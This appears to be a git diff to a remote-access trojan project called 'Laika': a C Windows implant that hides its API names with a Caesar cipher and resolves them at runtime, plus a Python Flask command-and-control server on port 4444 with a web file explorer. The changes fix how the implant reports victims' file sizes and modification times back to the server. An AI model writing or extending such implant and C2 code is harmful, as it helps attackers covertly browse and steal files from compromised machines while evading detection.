diff --git a/Laika/main.c b/Laika/main.c index 161358b..45ff894 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -245,7 +245,7 @@ retry: int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); if (st != 0) { - if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) { + if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) { //send failed Api.free(path); Sleep_(Sleep_TIME); @@ -257,10 +257,10 @@ retry: } time_t mtime = fileinfo.st_mtime; - struct tm* mtime_tm = Api._localtime64(&mtime); + struct tm* mtime_tm = Api.localtime(&mtime); char mtime_str[30]; char sizeStr[20]; - Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm); + Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm); // Concatenate the file size and modified time strings separated by "/" Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); @@ -268,7 +268,7 @@ retry: char* fileInfoStr = (char*)Api.malloc(bufferSize); Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); - if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) { + if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) { //send failed Api.free(path); Api.free(fileInfoStr); diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index b507ea9..321bcf5 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -44,7 +44,7 @@ void InitApis() { Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); - Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9")); + Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj")); Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index b60fc33..a77a111 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -28,7 +28,7 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const); typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); typedef void*(WINAPI* Trealloc)(void*, size_t); typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); -typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*); +typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*); typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); @@ -88,7 +88,7 @@ typedef struct ApiList { Tstat stat; Tsprintf sprintf; Trealloc realloc; - T_localtime64 _localtime64; + Tlocaltime localtime; Tstrftime strftime; T_snprintf _snprintf; } API; diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html index 19f9bd5..cb09b75 100644 --- a/Server/FileExplorer/index.html +++ b/Server/FileExplorer/index.html @@ -30,7 +30,7 @@ Nom Modifié le - Taille + Taille diff --git a/Server/Server.py b/Server/Server.py index 2b0cddc..6607b7f 100644 --- a/Server/Server.py +++ b/Server/Server.py @@ -8,6 +8,7 @@ import select import socket import logging import urllib.parse +import math ADRESSE = "192.168.1.35"#socket.gethostname() PORT = 4444 @@ -41,6 +42,15 @@ def CAESAR_DECRYPT(in_s: str) -> str : r+=" " return r +def convert_size(size_bytes): + if size_bytes == 0: + return "0 O" + size_name = ("O", "Ko", "Mo", "Go", "To", "Po", "Eo", "Zo", "Yo") + i = int(math.floor(math.log(size_bytes, 1024))) + p = math.pow(1024, i) + s = round(size_bytes / p, 2) + return "%s %s" % (s, size_name[i]) + app = Flask(__name__) # Disable Flask's default logging #log = logging.getLogger('werkzeug') @@ -78,6 +88,9 @@ def get_data() : else : path_file_ex += got_path + "/" + else : + path_file_ex = "" + i = -1 print(path_file_ex.split("/")) @@ -117,12 +130,12 @@ def get_data() : client.send(CAESAR("get_obj_info").encode()) - client.send(CAESAR(path_file_ex + f + "\0").encode()) + client.send(CAESAR(path_file_ex_2 + f + "\0").encode()) infos = recv_message_ret(client).decode("latin-1") - #print(infos) - - data.append({"url": f"{f}", "modified": "", "size":""}) + taille, modified = infos.split("/") + + data.append({"url": f"{f}", "modified": f"{modified}", "size":f"{convert_size(int(taille))}"}) json_data = jsonify({"data":data}) return json_data @@ -344,7 +357,7 @@ def main() -> None : elif cmd == "fex" : print("\nClique sur le lien ci-dessous pour voir le file explorer :") - print("http://127.0.0.1:5000") + print("http://127.0.0.1:5000\n") else : print("Commande non reconnue, \"help\" pour afficher la liste des commandes.")